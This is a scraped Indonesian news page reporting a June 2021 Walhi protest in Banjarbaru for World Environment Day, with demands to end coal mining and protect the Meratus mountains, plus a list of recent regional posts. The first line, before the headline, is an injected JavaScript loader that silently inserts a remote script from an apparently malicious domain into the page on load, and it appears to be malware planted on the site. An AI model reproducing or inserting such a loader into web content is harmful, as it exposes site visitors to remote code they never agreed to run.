(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

#SaveMeratus, Akhiri Tambang Batubara Tuntutan di Hari Lingkungan Hidup Sedunia


KANALKALIMANTAN.COM, BANJARBARU – Wahana Lingkungan Hidup Indonesia (Walhi) menggelar aksi damai orasi dan pembagian bibit tanaman di Bundaran Simpang Empat Banjarbaru memperingati Hari Lingkungan Hidup Sedunia, Sabtu (5/6/2021) siang.

Hari Lingkungan Hidup Sedunia sebagai agenda tahunan terbesar diselenggarakan oleh Perserikatan Bangsa-Bangsa (PBB) untuk terus membangkitkan kesadaran tentang pentingnya alam dan penghijauan.

Hari Lingkungan Hidup Sedunia atau World Environmental Day diperingati setiap 5 Juni.

Sejumlah tuntutan isu lingkungan disuarakan kembali dalam aksi ini oleh para aktifis pegiat lingkungan, diantaranya mendesak pemerintah : Cabut Revisi UU KPK, Cabut UU Minerba Tahun 2020, Stop Pelepasan Kawasan Hutan Untuk Korporasi, Jangan Matikan KPK, Cabut Omnibuslaw, Kalsel Darurat Ruang dan Kalsel Darurat Bencana Ekologi.

Tuntutan kepada pemerintah di Kalsel terkait komitmen lingkungan Kalsel kembali bergema dari Bundaran Simpang Empat Banjarbaru. Yakni konsistensi Walhi memperjuangkan bersama pegiat lingkungan adalah #SaveMeratus dan Akhiri Tambang Batubara (EndCoal).

Aksi Hari Lingkungan Hidup Sedunia juga dihadiri aktivis lingkungan dari Yayasan Cakrawala Hijau Indonesia (YCHI), Lembaga Kajian Keislaman & Kemasyarakatan (LK3), Lingkar Hijau Indonesia (LHI), Lembaga Kompas Borneo (LKB), Komunitas Sumpit, Kompas Borneo Unlam, Mapala Graminea Faperta ULM, Mapala Apache STMIK Banjarbaru, angota individu Walhi Kalsel, Gema Petani Indonesia Kalsel, Serikat Petani Indonesia Kalsel dan pegiat lingkungan lainnya.

Dalam aksi ini, Walhi Kalsel juga membagikan bibit sebanyak 350 biji. Ada ada 150 bibit kopi, 50 bibit buah belimbing wuluh, 50 bibit jambu mete, 50 bibit sirsak, dan 50 bibit jambu.

Bibit kopi dan bibit buah, dibagikan langsung kepada masyarakat yang melintas di Bundaran Simpang Empat Banjarbaru. (kanalkalimantan.com/rdy)

 

Reporter : rdy
Editor : Bie

 

 


Al Ghifari

Recent Posts

Rumah Penuh Air, Pak RT Mengungsi ke Rumah Tetangga

KANALKALIMANTAN.COM, MARTAPURA – Banjir yang melanda Desa Gudang Hirang, Kecamatan Sungaitabuk, Kabupaten Banjar menggenangi sejumlah… Read More

10 jam ago

Lonovila Menoreh Surga Tersembunyi di Perbukitan Menoreh

KANALKALIMANTAN.COM, YOGYAKARTA - Ada tempat yang tidak perlu banyak kata untuk membuat orang betah. Begitu… Read More

11 jam ago

Banjir di Komplek Antasari Perdana II Sungaitabuk, Akses Motor Lumpuh Total

KANALKALIMANTAN.COM, MARTAPURA – Banjir setinggi lutut orang dewasa menggenangi seluruh jalan di Komplek Antasari Perdana… Read More

11 jam ago

Bupati Banjar Bagikan Keperluan Warga Terdampak Banjir di Kelurahan Keraton

KANALKALIMANTAN.COM, MARTAPURA - Banjir di Kabupaten Banjar masih belum menunjukkan penurunan ketinggian air secara signifikan,… Read More

13 jam ago

Resmi! UMP Kalimantan Timur 2026 Naik 5,12%, Jadi Rp3,76 Juta

Upah Minimum Provinsi (UMP) Kalimantan Timur 2026 telah ditetapkan dan ditandatangani oleh Gubernur Rudy Mas’ud… Read More

19 jam ago

Tahun Baru Masalah Lama, Banjir Rendam Pemurus Dalam

KANALKALIMANTAN.COM, BANJARMASIN – Mengawali pergantian tahun, Kota Banjarmasin diguyur hujan dari pagi hingga petang, Kamis… Read More

1 hari ago

This website uses cookies.